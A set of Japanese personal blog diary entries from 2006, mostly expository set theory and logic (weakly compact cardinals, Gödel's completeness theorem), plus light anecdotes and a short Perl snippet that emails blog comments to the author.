ちょっと考えてみたのですが、可換環 $A$ の素イデアル $p$ から局所環 $A_p$ を作ると、 $\mathrm{Spec}(A_p)~\rightarrow~\mathrm{Spec}(A)$ は局所化したアフィン多様体からの埋め込みみたいなのになるので(細かいこと忘れた)、 $A~\rightarrow~A_p$ が「全射」になるのはとても自然なのです。こんな簡単なことで喜んでてはいけないのですが、この考えが圏論での全射という概念から自然に導出されるのはとても素敵だなと思いました。
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2006年10月20日(金)

中長期業績予測の秘密
まっとうな仕事をしている会社の売り上げとか利益の実績は、左のグラフのごとく、まあ年ごとに良かったり悪かったり、平均すればぎりぎり食べてゆけるかな、という場合が多いと思います。ところが、こちらも多くの会社で良く見られる風景かと思いますが、会社の偉い人が発表する、年度当初の中長期業績予測(努力目標？)は、右のグラフのごとく、あたかも指数関数のように増大するのです。さすが経営者です。考えが大きいと言いますか何と言いますか。
この予測通り売り上げや利益が伸びれば、十年後にはマイクロソフト並、二十年後には世界中の資産が会社のものになるのでは、といつも思うのですが、せっかく偉い人が熱弁を奮い一生懸命発表しているとき、余計なつっこみを入れないのが大人の態度というものです。

実績予測

そうは言うものの、どうして今までの実績から、このような楽観的な予測が得られるのだろうか？といつも不思議に思っていたのです。
今日、本当の理由が分かりました。
やはり偉い人は考えるスケールの大きさが違います。私の考えなどはるかに超越した理由があったのです。直線的思考ではなく平面思考。さすが経営者です。上のグラフを実数の世界で眺めていては全く経営の本質が見えない訳で、本来、複素数の世界で考える必要があったのです。その意味で、オイラーこそが近代経営学の元祖であると言うべきでしょう。
$e^{iz}~=~\cos~z~+~i\,~\sin~z$
正弦関数と指数関数なんて複素数の世界で考えれば同じようなものじゃあないですか(笑)。これぞ経営の本質です。いやはや、虚数の世界までも考えるとは、ほんと、経営というものは奥が深いものです。勉強になります。
それにしても上の経営理論が正しいとすれば、私の月給も大幅に増加しているはずです。ところが、現在のところ、特にそのような兆候は見られません。「どうしてなのだろう？やはり経営理論が間違えているのか。」と騒いでたら、 S 部長いわく。
かがみさん。ほんとは虚数のお札で月給出てるんですよ(笑)。
虚数ですか。大量の虚数お札。もしかして毎月 1000000000 i 円とか。使えないじゃん(笑)。てゆうかそれって偽札なのでは？
うーむ、ここはやはり地道に働き、せめて正弦曲線が減少トレンドに落ち込まないよう努力するしかなさそうです。そもそも世の中そんなうまい話が落ちてるわけないのです。
余談ですが、本日お札をキャプチャーして、さらに画像ソフトで一万 i 円とか書き換えたのを載せたくなったのですが、さすがに捕まりそうでまずいな、と自重したのはこれまた大人の態度でした。
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2006年10月19日(木)

難しそうなスパム排除
先日スパムコメントが入ったという記事を書きましたが、幸いにしてその後は来ていません。ところで、コメントを PHS にメール送信するところまでは実装したのですが、これが誠に失礼ながら、短文の場合、ほとんどメールのスパムフィルターに捕捉されてしまうのです。いやはやほんとに失礼。メールの転送自体は、From: を見て、スパム判定によらず行っているので実害ないですが。
メールと違い、コメントの場合、話し言葉風になる場合が多いので、どうしてもスパムっぽく判定されてしまうようです。というわけでスパムコメントを bsfilter で捕捉する方式は却下です。うーむ、問題を先送りする性格なので、今のところ真面目なブロック方法は考えてないのですが、全部英語だったらスパムと見なす、あたりが安易ですが効果が高いのでしょうか？
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2006年10月18日(水)

猿でも分かる集合論
くるるさんのところに「猫でもわかる集合論」なる検索がきたそうな。まことに失礼ながら、つまらない突っ込みを書いた後、「猿でも分かる集合論」を調べたら、おうちが第九位。まずいじゃん(笑)。
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鴨の日
今日は恒例の鴨の日でした。

N さんの天ぷらそば S さんの鴨汁

H さんと私の鴨南蛮

(関連項目) 鴨南蛮よたび鴨南蛮みたび
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2006年10月17日(火)

スパムコメント来たる
ついに来ちゃいましたよ！スパムコメント。いやはや、おうちみたいなローカルページには縁のないものかと思っていたのですが、来ちゃうもんなんですねえ。
内容はおくすり系で、見事な連係プレイです。たかたにさんとこと違って、お名前、内容、ID 入りなので見事に受理してしまいました。
```
2.37.232.72.reverse.layeredtech.com - - [17/Oct/2006:02:52:38 +0900] \
"GET /kagami/diary/0000/bbs/kuttukibbs.cgi?id=20061012-2 HTTP/1.1"  ...

2.37.232.72.reverse.layeredtech.com - - [17/Oct/2006:02:52:39 +0900] \
"GET /kagami/diary/0000/bbs/kuttukibbs.cgi?id=20061012-2 HTTP/1.1" ...

203.146.247.79 - - [17/Oct/2006:02:52:54 +0900] \
"POST /kagami/diary/0000/bbs/kuttukibbs.cgi HTTP/1.1" ...

200.223.97.154 - - [17/Oct/2006:02:52:55 +0900]
"POST /kagami/diary/0000/bbs/kuttukibbs.cgi HTTP/1.0" ...

168.167.253.97 - - [17/Oct/2006:02:53:08 +0900] \
"POST /kagami/diary/0000/bbs/kuttukibbs.cgi HTTP/1.1" ...

tdev223-98.codetel.net.do - - [17/Oct/2006:02:53:15 +0900] \
"POST /kagami/diary/0000/bbs/kuttukibbs.cgi HTTP/1.1" ...
```
まずは偵察隊が二つ来て GET。その後、すべて異なるアドレスの実行部隊が、四発連続同じ内容を POST です。こんな時間に POST されても即座には削除しようがありません。そもそも PHS への転送とかも行っていませんし。内容はおくすりのリンク先の羅列なのですが、こういうのってしょっちゅう場所を変えるでしょうから、何か連絡用なのでしょうか。その割には、その後、不審な GET はなかったですが。
いずれにしてもおうちもそろそろ対処法を考える必要がありそうです。面倒ですなあ。構想としては、POST 時の PHS への転送と、内容を bsfilter に食べさせてスパム判定を行うあたりなのですが、使わせて頂いてる「くっつきBBS」が Perl で書かれていて、ちっとも分からないのが難点なのです。
てゆうか、メール転送した内容が、今度はメールのスパムフィルターではねられ、スパム箱に入ったら大笑いです。
(追記) とりあえずメール送信機能を追加。
```
-------------------------------------------------------------------
require "mimew.pl";
require "jcode.pl";
...
sub mailsend {
    my $sendmail = '/usr/sbin/sendmail';
    # 宛先アドレス
    my $mailto = "kagami\@evariste.jp";
    # 送信元アドレス(somename はスパムフルター迂回用)
    my $mailfrom = "somename\@evariste.jp"; 
    my $subject = "くっつきBBS";
    my $name=$_[0];
    my $mailbody=$_[1];

    &jcode'convert(*name,'jis');
    &jcode'convert(*mailbody,'jis');
    $subject = mimeencode($subject);
    open(MAIL,"| $sendmail -t");
    print MAIL "To: $mailto\n";
    print MAIL "From: $mailfrom\n";
    print MAIL "Subject: $subject\n";
    print MAIL "\n";
    print MAIL "($name)\n";
    print MAIL "\n";
    print MAIL "$mailbody\n";
    close(MAIL);
}
-------------------------------------------------------------------
```
なんか EUC のまんまで JIS にならない。面倒なので
```
my $sendmail = '/usr/local/bin/nkf -j -m0 | /usr/sbin/sendmail';
```
に変更。
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2006年10月16日(月)

山梨出張
今日は山梨県へ日帰り出張です。

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2006年10月15日(日)

ひとやすみ
今月は数学関連の記事ばかりになってしまいました。同じような記事が続き、興味がない方とってつまんないのは良くわかるのですが、こういうのって周期があるのと、私の日記ということでごかんべんのほどを。
ところで、来週から三週間くらい、仕事の方がまた佳境となるので、数学関連の記事は余り書けないと思います。昨日のが少々中途半端なので、それを書き足すのと、完全性定理に対していくつかコメントを書きたいとは思っていますが。
弱コンパクト基数に関しては、大分長くなってきたので、「拡張の性質」と今まで断片的に書いてきた、可測基数の下に大量の弱コンパクト基数が存在することをまとめて、ひとまず終了としたいと考えています。次のお題としては、記述不可能性の方に走るか、強制の反復に走るか、現在考慮中です。どちらが良いのでしょうかねえ？
というかさすがにやや数学疲れの状態なのです。熱中してるときは余り感じないのですが、一段落したときにかなり消耗しているという状況です。それなら、別に義務で勉強しているのではないので、やめちゃうとか、少し休めばとも思うのですが、そうするとすべてを失うのではないかという、根拠のない強迫観念があるのです。もしかしてこれってかなりまずい状況なのかも知れません。やめてしまうということは絶対にあり得ないのですが、ここは思い切って一月くらい封印しようかな＞数学。
よしっ、決めた！内部的には封印しないとしても、日記に書くという行為が、特に体力を消耗するので、数学のまとまった話や写経は一月封印。気楽に数学本を読んでいる分にはそれほど疲れないので、しばらく新しい構想を求めて充電です。
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2006年10月14日(土)

弱コンパクト基数(二回目)無限論理との関連
本日は、無限個の「または」「かつ」さらに、無限個の変数に対する束縛を許す言語を考え、そのコンパクト性と弱コンパクト基数との関連について記載します。 $\lambda,\kappa\quad(\lambda~\le~\kappa)$ を無限基数とします。通常の一回述語論理の言語を拡張した、次の性質を持つ言語を、 $\mathcal{L}_{\kappa\lambda}$ に属する、または $\mathcal{L}_{\kappa\lambda}$ であると言います。(2) は拡張ではありませんが念のために。
(1) 高々 $\kappa$ 個の定数記号、変数記号を持つ。
(2) 通常の言語と同様、有限個の引数をもつ関数記号、述語記号を有限個持てる。
(3) 任意の $\alpha<\kappa$ と論理式の集合 $(\varphi_\xi)_{\xi<\alpha}$ に対し $\bigwedge_{\xi<\alpha}{\varphi_\xi}$ と $\bigvee_{\xi<\alpha}{\varphi_\xi}$ も論理式。
(4) 任意の $\beta<\lambda$ と高々 $\beta$ 個の自由変数を持つ論理式 $\varphi(x_\xi,\cdots)_{\xi<\beta}$ に対しその束縛 $\forall_{\xi<\beta}{x_\xi}(\varphi(x_\xi,\cdots))$ と $\exists_{\xi<\beta}{x_\xi}(\varphi(x_\xi,\cdots))$ も論理式。
$\forall$,$\exists$の場合、下ではなく横にインデックスを書くのが普通ですが、うまく出ないのです。かっこわる。通常の言語は $\mathcal{L}_{\omega\omega}$ です。 $\mathcal{L}_{\kappa\lambda}$ に属する言語の構造が与えられた時、対象式、論理式の解釈は「文字通り」行うこととします。論理式の集合の充足可能性についても同様とします。
弱コンパクト基数は、「無限論理の弱コンパクト性」に関する性質で特徴づけられます。
(定義論理の弱コンパクト性)
$\mathcal{L}_{\kappa\lambda}$ に属する言語 $\mathcal{L}$ が弱コンパクトの性質を持つ、とは次の事実が成立すること。
$\Sigma$ を $|\Sigma|\le\kappa$ である $\mathcal{L}$ の閉論理式からなる集合とする。 $\Sigma$ の任意の部分集合 $S\subset\Sigma$ に対し、 $|S|<\kappa$ を満たすものがモデルを持つと仮定する。このとき $\Sigma$ もモデルを持つ。
(定理弱コンパクト基数と論理の弱コンパクト性)
(1) $\kappa$ を弱コンパクト基数とすると、任意の $\mathcal{L}_{\kappa\kappa}$ に属する言語は弱コンパクトの性質をもつ。
(2) 逆に $\kappa$ を到達不可能基数とする。 $\mathcal{L}_{\kappa\omega}$ に属する任意の言語が弱コンパクトの性質を持つとき、 $\kappa$ は弱コンパクト基数。
(1) の証明は完全性定理と類似の方法で行われます。 $\kappa$ を弱コンパクト基数とし、 $\mathcal{L}$ を $\mathcal{L}_{\kappa\kappa}$ に属する言語、 $\Sigma$ を $\mathcal{L}$ の閉論理式の集合で $|\Sigma|=\kappa$ とします。まず次の手順により、完全性定理の証明と同様に、 $\mathcal{L}$ に「存在記号による束縛を具体化する」定数を導入します。
$\mathcal{L}_0~=~\mathcal{L}$ とする。
$\mathcal{L}_0$ の各論理式 $\varphi(x_\xi)_{\xi<\alpha}~\quad~(\alpha<\kappa)$ に対し新しい定数記号 $(c^{\varphi}_{\xi})_{\xi<\alpha}$ を追加した言語を $\mathcal{L}_1$ としする。以下同様に $\mathcal{L}_0~\subset~\mathcal{L}_1~\subset~\mathcal{L}_2~\cdots~$ を作り、 $\mathcal{L}^{\ast}~=~\bigcup_{n\in\omega}{\mathcal{L}_n}$ とする。
このとき $\kappa$ の正則性により $|\mathcal{L}^{\ast}|~=~\kappa$ が成立し、さらに $\mathcal{L}^{\ast}$ の各論理式 $\varphi(x_\xi)_{\xi<\alpha}~\quad~(\alpha<\kappa)$ に対し $\varphi$ に現れない定数記号 $(c^{\varphi}_{\xi})_{\xi<\alpha}$ が存在することが分かります。今、 $\sigma_\varphi$ を $\exists_{\xi<\alpha}x_\xi(\varphi(x_\xi,\cdots))~\rightarrow~\varphi(c^\varphi_\xi,\cdots)$ のこととし、完全性定理の証明と同様に $\Sigma$ に論理式群 $(\sigma^\varphi)$ を追加した拡張を $\Sigma\subset\Sigma^{\ast}$ とします。ここで $\varphi$ は $\mathcal{L}^{\ast}$ の論理式全体を動くこととします。さて $\Sigma$ を $\mathcal{L}$ の閉論理式からなる集合とし、 $|\Sigma|=\kappa$ さらに任意の $S\subset\Sigma$ に対し $|S|<\kappa$ ならばモデルを持つと仮定します。このとき定数記号追加の方法により、 $\Sigma^{\ast}$ も同様の性質を持つことは容易に分かります。従って、以降 $\mathcal{L}=\mathcal{L}^{\ast},\,\Sigma=\Sigma^{\ast}$ として議論を行います。
$\{\sigma_\alpha~\,:\,~\alpha<\kappa\}$ を $\mathcal{L}$ の閉論理式全体の列挙とします。 $\gamma<\kappa$ をとすると、仮定により $\Sigma~\cap~\{\sigma_\alpha~\,:\,~\alpha<\gamma\}$ は $\mathcal{L}$ にモデル $\mathcal{A}$ を持ちます。このようなモデルに対し、 $\gamma$ 上の真理値関数 $t_{\mathcal{A}}~:\,~\gamma~\rightarrow~2$ 即ち $(t_{\mathcal{A}}(\alpha)=1~\text{~iff~}~A|=~\sigma_\alpha)$ を考えることが可能です。このような $t_{\mathcal{A}}$ 「全体」からなる木 $\langle~T,~\subset~\rangle$ を考えるのです。正確には次のように定義します。 $T$ は次の条件を満たす $t$ 全体の集合。
(a) $t$ は $\mathrm{dom}(t)<\kappa$ から $2$ への関数。
(b) $\Sigma~\cap~\{\sigma_\alpha~\,:\,~\alpha<\mathrm{dom}(t)\}$ の $\mathcal{L}$ でのモデル $\mathcal{A}$ が存在して $(t(\alpha)=1~\text{~iff~}~A|=~\sigma_\alpha)$
このとき $\mathrm{ht}(t)~=~\mathrm{dom}(t)$ であることと $\kappa$ が強極限であることにより、 $|\mathrm{Lev}_\alpha(T)|~<~\kappa,\,\mathrm{ht}(T)=\kappa$ が成立します。ところが $\kappa$ は弱コンパクトなので、木の性質を持ちます。従って、枝(maximal chain) $B\subset{T}$ が存在し $|B|=\kappa$ を満たします。ここで $\Delta~=~\{\sigma_\alpha~\,:\,~\exists{t~\in~B}(t(\alpha)=1)\}$ とおきます。 $B$ が極大な鎖であることにより $\Delta$ は次の性質を持ちます。
(c) $\alpha<\kappa$ に対し $\forall{\xi<\alpha}(\varphi_\xi~\in~\Delta)~\leftrightarrow~\bigwedge_{\xi<\alpha}{\varphi_\xi}~\in~\Delta$
(d) $(\varphi~\in~\Delta)~\vee~(\neg\varphi\in\Delta)$
(e) $\neg((\varphi~\in~\Delta)~\wedge~(\neg\varphi\in\Delta))$
ここで $C$ を $\mathcal{L}$ の定数記号全体からなる集合とし $c,d~\in~C$ に対し同値関係 $c~\sim~d~\leftrightarrow~(c=d)~\in~\Delta$ を考え $A=C/\sim$ とします。以下は完全性定理の証明と同様で、例えば $n$ 変数の述語記号 $P$ に対し、解釈 $P([c_1],[c_2],\cdots,[c_n])~\leftrightarrow~P(c_1,c_2,\cdots,c_n)\in\Delta$ を行うことにより、 $\Delta$ のモデル $\mathcal{A}=\langle~A,C,P,\cdots~\rangle$ を構成することが可能で、さらに $\mathcal{A}|=\varphi~\leftrightarrow~\varphi\in\Delta$ が成立します。ところで $\Sigma~\subset~\Delta$ は明らかなので $\mathcal{A}$ は $\Sigma$ のモデルにもなり証明完了です。逆の証明は長くなってきたのでこんど追加します。
(参考文献) Thomas J. Jech著 Set Theory
(関連項目)
2006年10月2日弱コンパクト基数の基本性質(一回目)
2006年10月9日ゲーデルの完全性定理
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2006年10月13日(金)

おおはずれ
MSNから「強制法任意法」という検索で来て、forcing の PDF ファイルをお持ち帰りになられた方がいらっしゃいます。可哀想に(笑)。てゆうかリンク先の概要を見れば、はずしてるの分かりそうなのですが。いずれにしてもだめじゃん＞MSN。
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2006年10月12日(木)

アレフ0の呼び方
質問です。とある場所でも話題になっていたのですが、Wikipedia の Aleph number の項目の記述に、
The cardinality of the natural numbers is aleph-null $(\aleph_0)$ (also aleph-naught, aleph-nought)
とあります。今まで 30年以上「アレフゼロ」と読んでましたが、英語圏の人たちは本当に「アレフヌル」という感じの読み方をしているのでしょうか。
余談ですが $\aleph_1$ は「アレフイチ」と読んでいます。ただし、英語圏の人がこの読み方をしないことは、容易に想像できます(笑)。
(追記 2006年10月13日) 上の Wikipedia が Wikipwdia になっていたので修正しました。本来コメントを頂いた場合、その時点での内容に関するものであり、安易な修正を行うべきではないと考えていますが、誤字脱字等に関してはごかんべんのほどを。
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明日はお休み
うれしいことに、明日まで予定していた仕事が本日完了しました。なので、明日は会社休んじゃいます。代休いっぱいあるし。別件にて、来週から土日休めない状況に陥ることは分かっているのですが、
明日できることは今日するな。
という信念のもとに生きてますので。はい！
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2006年10月11日(水)

有理数体の順序
(定理)
任意の可算全順序集合は、通常の順序を考えた有理数体に、順序同型として埋め込むことが可能である。
すごく大雑把ですが、後で便利かもしれないので「証明」書いておきます。
(証明)
$\langle~A~\prec~\rangle$ を可算全順序集合とし、 $(a_n)_{n\in\omega}$ をその数え上げとする(もちろん元の順序はばらばら)。 $f_n=\{(a_0,q_0),(a_1,q_1),\cdots,(a_{n},q_{n})\}$ を $\{a_i\,:\,~i~\le~n\}$ から有理数体の部分集合への順序同型とする。このとき(ここがおおざっぱなのですが) 有理数体上の通常の順序が左右へ非有界であることと、稠密であることとにより $a_{n+1}$ の「正しい行き場所」 $q_{n+1}$ をとることが出来る。 $f_{n+1}=f_{n}~\cup~\{(a_{n+1},q_{n+1})\}$ とおくと $f_{n+1}$ は $f_{n}$ の拡張で $\{a_i\,:\,~i~\le~n+1\}$ から有理数体の部分集合への順序同型となるので、 $\bigcup_{n\in{\omega}}{f_n}$ が求めるものとなる。
$\langle~A~\prec~\rangle$ も左右非有界稠密な場合、上と同様な操作を一回ずつ(必要があれば)「互いに」行うことにより、このような全順序集合はすべて順序同型となることも分かる。
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Hartogs数
くるるさんのところで、 $\aleph_1$ は具体的にどのようなものか、というお話があり、私などが口を出すのは本当に厚かましいのですが、ありがたくもリンク先にして頂いた(2004年5月2日アレフの定義) ということもあり、余計なコメントを書きました。ところで上のリンクで定義される「次の基数」はHartogs数と言うのですが、実は集合論を勉強して、最初に感動したのがその構成でした。それまで「次の基数」というのは、選択公理を仮定し、自分より大きい基数の最小のもの、という認識しかなく、全く具体性に欠けていたので、本当に衝撃的でした。集合論雑記を書き始めた最大の動機の一つです。集合論は一見非常に抽象度が高い様に思われますが、実は数学的の中で、特に具体的な分野なのではないか？と考え直したきっかけでもあります。今でもその考えは変わりません。
というわけで、Hartogs数はとても愛着がある概念なのです。そんなこんなで余計な突っ込みをしてしまったのですが、ほんと素人が口を出して失礼致しました。

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2006年10月10日(火)

ピザの斜陽
一昨日の晩はピザを取ってみんなで食べたのです。私が食べたのは四切れ。夜中の三時頃、下の完全性定理の記事を書いてたら、お腹がすいてきて食べたのが一切れ。朝になりみんなが起きてくる前に(体育の日だったのでみんな寝坊していた) もう一切れ。結果的に四切れ残ったのです。
起きてきてそれを見たモカちゃんいわく。
(モカ) パパずるい！全部で六切れも食べたでしょ！！
「いや五切れしか食べてないよ。そもそも、どうして何切れ食べたのか分かるのよ？」なるつっこみに、モカちゃんさらにいわく。
(モカ) だって数えといたもん！
いやはや、わが娘とはいえ、陰険なやつですな、ほんと。これには反論するしかありません。「だからぁ、昨日の晩四切れ、夜中に一切れ、今朝一切れしか食べてないのだから、全部で五切れしか食べていません。」どだっまいったか。
(モカ) さっきから何言ってるの。だから六枚じゃないの。
えっ？....四枚、一枚、一枚...、ほんと六枚だ(笑)。うーむ最近とみに計算能力の衰えを感じますが、ここまで落ちぶれていたとは。というか夕食に食べた四切れが、なぜか頭の中で三つの切れ端の絵になってて、夜中に食べた一枚、早朝に食べた一枚が追加された絵を思い浮かべていたという。
(教訓)
このように数学において図による直感はあてになりません。ちゃんと論理的に考えましょう。← 全く説得力なし(笑)。
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2006年10月9日(月)

ゲーデルの完全性定理
集合論雑記目次
弱コンパクト基数の関係で、無限論理のコンパクト性を眺めていたのですが、完全性定理の証明を知っていると、さらに分かりやすそうなので、本日はちょっと寄り道です。
余計なおしゃべりは一切行わず次の事実を証明します。
(ゲーデルの完全性定理)
$\mathcal{L}$ を一回述語論理を含む言語(非可算個の変数、定数記号が存在しても良い)とし $T$ をその閉論理式からなる無矛盾な集合(公理系)とする。このとき $T$ はモデルを持つ。
まず次の事実を証明します。
(補題 1 Henkin)
$\mathcal{L},\,T$ をそれぞれ一回述語論理の言語とその閉論理式からなる無矛盾な集合とする。 $\mathcal{L}$ に高々 $|\mathcal{L}|$ 個の定数記号の集合 $C$ を付け加え拡張した言語 $\mathcal{L}^+~=~\mathcal{L}\cup{C}\quad~\text(par~abus~de~langage)$ と、 $T$ の $\mathcal{L}^+$ での無矛盾な拡張 $T^+$ が存在し次の性質を満たす。 $\mathcal{L}^+$ の高々一つの自由変数を含む任意の論理式 $\varphi(x)$ に対し $c\in{C}$ が存在し $T^{+}~|-~\exists{x}(\varphi(x))~\rightarrow~\varphi(c)$
(証明) $|\mathcal{L}|=\lambda$ とし、 $\mathcal{L}$ へ新しいすべて相異なる定数記号 $C=(c_\alpha)_{\alpha<\lambda}$ を追加した言語を $\mathcal{L}^{+}$ とする。 $\mathcal{L}^{+}$ の高々一変数の自由変数を持つ論理式の数は $\lambda$ 個なので、それらを $(\varphi_{\alpha}(x_{\alpha}))_{\alpha<\lambda}$ と整列する。ここで $x_\alpha$ は自由変数で何度重複があっても構わない。 $\mathcal{L}^{+}$ の閉論理式からなる集合列 $(T_{\alpha})_{\alpha<\lambda}$ を次のように構成する。
(1) $T_{0}~=~T$
(2) $T_{\alpha+1}~=~T_{\alpha}~\cup~\{~\exists{x_{\alpha}}~(\varphi_{\alpha}(x_{\alpha}))~\rightarrow~\varph_{\alpha}(d_{\alpha})\}$
(3) $T_\alpha~=~\bigcup_{\xi<\alpha}{T_{\xi}}$ ( $\alpha$ が極限順序数の場合)
(2) の構成で $\varphi_{\alpha}$ が自由変数を持たない場合は $x_{\alpha}~=~x_0$ とします。また $d_{\alpha}$ はそれまでの構成で使用した $T_{\xi}\quad~(\xi<\alpha)$ の論理式に現れない $C$ の最小の要素とします。今、 $T^{+}~=~\bigcup_{\alpha<\lambda}{T_{\alpha}}$ とおくと定理の条件を満たします。自明とは言えない部分は $T^{+}$ が無矛盾であるということですが、次のように証明できます。 $T_{\alpha+1}~=~T_{\alpha}~\cup~\{~\exists{x_{\alpha}}~(\varphi_{\alpha}(x_{\alpha}))~\rightarrow~\varph_{\alpha}(d_{\alpha})\}$ が最初に矛盾を引き起こす拡張と仮定すると、 $T_{\alpha}$ は無矛盾で、 $T_{\alpha}|-~\neg(\exists{x_{\alpha}}~(\varphi_{\alpha}(x_{\alpha}))~\rightarrow~\varph_{\alpha}(d_{\alpha}))$ が成立しますが、 $d_{\alpha}$ は $T_{\alpha}$ のいずれの論理式にも現れない定数なので矛盾。
(補題 2)
$T$ 閉論理式からなる無矛盾な集合とする時、包含関係と無矛盾性に関し極大な論理式の集合 $T~\subset~T^{\ast}$ が存在する。さらに任意の閉論理式 $\varphi$ に対し $\varphi~\in~{T^\ast}$ または $(\neg\varphi)~\in~{T^\ast}$ が成立する。さらに $\varphi\in{T^{\ast}}~\leftrightarrow~T^{\ast}|-\varphi$ が成立する。
(証明) 前半は Zorn の補題による。後半は極大性により明らか。
(完全性定理の証明) 言語とその言語に属する閉論理式からなる無矛盾な集合の対を、ここだけの記号で $\langle~\mathcal{L},~T~\rangle$ と表すこととする。まず $\langle~\mathcal{L},~T~\rangle$ から(補題 1)の方法で $\langle~\mathcal{L}^{+},~T^{+}~\rangle$ を作る。さらに(補題 2)の方法で極大な無矛盾系 $\langle~\mathcal{L}^{+},~T^{\ast}~\rangle$ を作成すると、この対は(補題 1)の結果を保存することは明らかである。今、 $\mathcal{L}^{+}$ の定数記号全体の集合を $C$ とし、その上の同値関係を $c~\sim~d~\leftrightarrow~(c=d)\in{T^{\ast}}$ により定義しする。さらに $c\in{C}$ の同値類を $[c]$ と表し $A=\{[c]~\,:\,~c\in{C}\]$ とする。次の方法で言語 $\mathcal{L}^{+}$ 上に $A$ を土台とする構造を導入する。
定数記号 $c\in{C}$ に対し $[c]$ をその解釈とする。

$P$ を言語 $\mathcal{L}^{+}$ の $n$ 変数述語記号とするとき、対応する関係 $R_{P}$ を $([c_1],[c_2],\cdots,[c_{n}])\in~R_{P}~\leftrightarrow~P(c_1,c_2,\cdots,c_n)~\in~T^{\ast}$ により定義する。

$F$ を言語 $\mathcal{L}^{+}$ の $n$ 変数関数記号とするとき、対応する関数 $f_{F}$ を $[c_0]=f_{F}([c_1],[c_2],\cdots,[c_{n}])~\leftrightarrow~(c_0=F(c_1,c_2,\cdots,c_n))~\in~T^{\ast}$ により定義する。
これらが well defined であることはすぐに分かる。このとき
(fact) $\mathcal{L}^{+}$ -構造 $\mathcal{M}^{+}=\langle~A,C,R_P,\cdots,f_F,\cdots~\rangle$ に対し $\varphi\in{T}^{\ast}~\leftrightarrow~\mathcal{M}^{+}|=\varphi$ が成り立つ。即ち $\mathcal{M}^{+}$ は $T^{\ast}$ のモデルとなる。
この事実が証明できれば、明らかに $\mathcal{M}^{+}$ は $\langle~\mathcal{L}^{+},T~\rangle$ のモデルとなり、 $D$ をもともとの $\mathcal{L}$ の定数記号全体とすると、 $D~\subset~C$ で $T$ に属する論理式は $C-D$ の要素を含まないので、 $\mathcal{L}$ -構造 $\mathcal{M}=\langle~A,D,R_P,\cdots,f_F,\cdots~\rangle$ は $\langle~\mathcal{L},T~\rangle$ のモデルとなる。
(fact) の証明であるが、論理式の記号の数による帰納法による。まず $\varphi~\in~T^{\ast}$ が論理記号 $P$ と自由変数を含まない項 $t_1,t_2,\cdots,t_n$ に対し $P(t_1,t_2,\cdots,t_n)$ の場合、例えば $T^{\ast}~~|-~\exists{x}(x=t_1)$ なので $c_1\in{C}$ が存在し $T^{\ast}~|-~(c_1=t_1)\,.$ 従って $P(c_1,c_2,\cdots,c_n)\quad~(c_1,c_2,\cdots,c_n~\in~C)$ の場合に帰着されるが、 $P(c_1,c_2,\cdots,c_n)~\in~T^{\ast}$ なので $([c_1],[c_2],\cdots,[c_{n}])\in~R_{P}$ が成り立つ。従って $\mathcal{M}^{+}|=\varphi\,.$ 関数記号の場合も同様である。 $\varphi~\in~T^{\ast}$ が $\chi~\wedge~\psi$ もしくは $\neg\chi$ の形の場合は容易に証明できる。最後に $\varphi~\in~T^{\ast}$ が $\exists{x}(\chi(x))$ の形の場合であるが、 $c\in{C}$ が存在し $T^{\ast}~|-~\exists{x}(\chi(x))~\rightarrow~\chi(c)$ が成り立つ。従って $T^{\ast}~|-~\chi(c)\,.$ $c\in{C}$ の $\mathcal{M}^{+}$ での解釈は $[c]\in{A}$ だったので、帰納法の仮定により $\mathcal{M}^{+}|=\chi([c])\,.$ 従って $\mathcal{M}^{+}|=\varphi\,.$
上記定理から導かれる関連した事実は次回記述します。
(参考文献) C.C. Chang , H.J. Keisler 著 Model Theory
(関連項目)
2004年7月3日一階述語論理を含む言語
 2004年7月4日一階述語論理を含む言語～続き
 2004年7月9日構造とモデル～7月11日内容追加
 2006年10月27日ゲーデルの完全性定理(続き)
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2006年10月8日(日)

コメントぷち変更
上の方の「最近のコメント」で、今までは、記事の日付と投稿して下さった方のお名前を一つの該当記事へのリンクとしていましたが、いちいち記事へ飛び、さらに詳細を見るのも面倒な場合がありそうです。そこで、日付とお名前を分離し、日付をクリックした場合該当の記事、お名前をクリックした場合、直接該当のコメント詳細ページへ飛ぶように変更しました。
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2006年10月7日(土)

お笑い集合論検索
最近おうちに集合論がらみの検索が多いので、いくつかの検索サイトで「集合論」というキーワードを調べてみました。
(google) Wikipediaが最上位なのですが、現在第二位と第三位、第五位がちょっと(笑)。まあ個人的に第三位(区)はそれほど嫌いではないのですが。おうちは現在十番目。変動が激しいのでお客様が見られるときには変わっているかも知れません。
(Yahoo!) おお！こちらも(区)が堂々の第三位。健闘しております。おうちはちっとも現れません(笑)。
(MSN) なんとこちらはおうちが第二位。ところが一位の座を獲得してるのが、少なくとも数学に対する誤った認識という点で、日本一のトンデモと呼んでまず間違いないであろう Mizar のページ。(区)も健闘し第六位です。てゆうか
MSN は故意にイロモノ集合論サイトを上位に持ってきてるのでは(笑)。

(おまけキッズ goo) こちらも(区)が大健闘です。でもクリックするとこんな感じ。残念です。というか(区)の内容はともかくとして、そんなに変な言葉は使ってなかったと思うので、少々不思議。おうちは十一位です。しかもちゃんと中に入れるのです。ところがさらにリンクをたどり日記というか、集合論に関する記事の本体を読もうとすると、ほとんど入れません。むむむ！これでは良い子達が集合論という美しい世界に接する機会を喪失してしまう場合もありうるのではないか！！
といいますか、ご存知の通り、一月に一度くらいのペースでしもねたに走る癖をなんとかしないと、絶対に改善されませんな。反省してます(嘘)。
真面目な話、上記検索結果は少々まずいのでは、と思わないでもないのですが、まあ(ト)系はどうしてもリンク数が増えるし、人気が出る場合もあるので、現行の検索の仕組みでは仕方ないのでしょう。地道に良質な内容の記述を増やしてゆくしかないと思います。こんな記事を書いてる暇があるなら、集合論の勉強をするべきです(こちらはほんと)。
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2006年10月6日(金)

ブルバキおやじ
ネットで数学関連のページを巡回していると、昔ブルバキを真面目に読んだことがあると思われる人が、今でも数学に対する愛情を失わない場合が多い気がする。ブルバキがそうさせるのか、それともブルバキを読むような性向の人がそうなるのか。謎ですな。てゆうか題名やばすぎ(笑)。
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数学書の引用について
先日の弱コンパクト基数の基本性質(一回目) の最後にも書いたように、集合論雑記での証明の内容は、ぶっちゃけて言えば、ほとんど全部が参考文献の引用(というかコピー)のみからなっています。この雑記を書き続けている理由はいくつかあって、集合論が好きなことが一番だと思いますが、自分が勉強した内容を公開するためには、あまりいいかげんなことは書けないので、「良くわからんがそんなものかな」という部分を納得出来るまで考える(これって思いのほかきついのです)ため、要は学生さんのセミナー発表ののりと言うか。それから自己顕示欲とか人間関係とかの理由もあると思います。集合論雑記を通じて素晴らしい人たちと知り合えたいうこともありますから。
